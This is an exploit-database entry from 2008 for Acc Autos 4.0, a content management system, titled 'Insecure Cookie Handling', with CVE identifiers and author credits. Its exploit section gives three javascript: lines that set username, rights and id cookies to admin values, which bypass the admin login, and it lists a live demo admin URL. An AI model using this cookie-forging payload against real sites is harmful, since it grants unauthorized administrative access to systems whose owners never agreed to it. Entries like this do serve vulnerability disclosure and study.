Acc Autos 4.0 - Insecure Cookie Handling

EKU-ID: 14839	CVE: OSVDB-49938;CVE-2008-6294;CVE-2008-6293;CVE-2008-6292	OSVDB-ID:
Author: x0r	Published: 2008-11-03	Verified:
Download:

Rating

☆☆☆☆☆

-==========================================-
Autore: x0r - Road Crew - Evolution Team
Cms: Acc Autos v4.0
Bug:  Insecure Cookie Handling
Site: http://pro7.altervista.org/v2/
-==========================================-
Exploit:

[+]javascript:document.cookie="username_cookie=admin";
[+]javascript:document.cookie="right_cookie=1";
[+]javascript:document.cookie="id_cookie=1";

Live Demo:

http://www.accscripts.com/autos/demo/admin/

Greetz: 8\10\2008..Il Sogni Diventa RealtÃ ...Bimb4 Ti AmO.

# milw0rm.com [2008-11-03]